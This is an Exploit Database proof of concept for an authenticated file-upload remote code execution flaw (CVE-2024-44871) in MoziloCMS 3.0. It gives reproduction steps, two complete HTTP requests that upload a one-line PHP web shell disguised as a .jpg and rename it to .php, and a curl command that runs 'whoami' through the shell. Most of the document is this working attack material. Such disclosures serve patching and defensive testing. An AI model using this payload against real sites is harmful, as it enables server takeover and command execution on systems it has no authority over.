MoziloCMS 3.0 – Remote Code Execution (RCE)

• Exploit Database
• 9 阅读

• 作者： Olakojo Olaoluwa Joshua
  日期： 2025-03-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52096/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129

  # Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE) # Date: 10/09/2024 # Exploit Author: Secfortress (https://github.com/sec-fortress) # Vendor Homepage: https://mozilo.de/ # Software Link: https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip # Version: 3.0 # Tested on: Debian # Reference: https://vulners.com/cve/CVE-2024-44871 # CVE : CVE-2024-44871   """ ################ # Description# ################   MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability in the component "/admin/index.php" which allows an authenticated attacker to execute arbitrary code on the "Files" session by uploading a maliciously crafted .JPG file and subsequently renaming its extension to .PHP using the application&apos;s renaming function.   ##################### # PoC for webshell# #####################   Steps to Reproduce:   1. Login as admin 2. Go to the Files session by the left menu 3. Create a .jpg file with it content having a php web shell 4. Upload the file to the server via the upload icon and save 5. Rename the file to .php on the web server and save 6. Access webshell via this endpoint : http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php   ========================== Request 1 => Upload File: # ==========================   POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------186462060042780927583949521447 Content-Length: 607 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true Cookie: mozilo_editor_settings=true,false,mozilo,12px; 3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep; PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b; MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin   -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="curent_dir"   Willkommen -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="chancefiles"   true -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="action"   files -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="files[]"; filename="revshell.jpg" Content-Type: image/jpeg   <?=`$_GET[0]`?>   -----------------------------186462060042780927583949521447--   =========================== Request 2 => Rename File: # ===========================   POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true Cookie: mozilo_editor_settings=true,false,mozilo,12px; 3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep; PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b; MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin   action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&changeart=file_rename     #################### # Webshell access: # ####################   # Wenshell access via curl:   curl http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?0=whoami   # Output:   www-data   """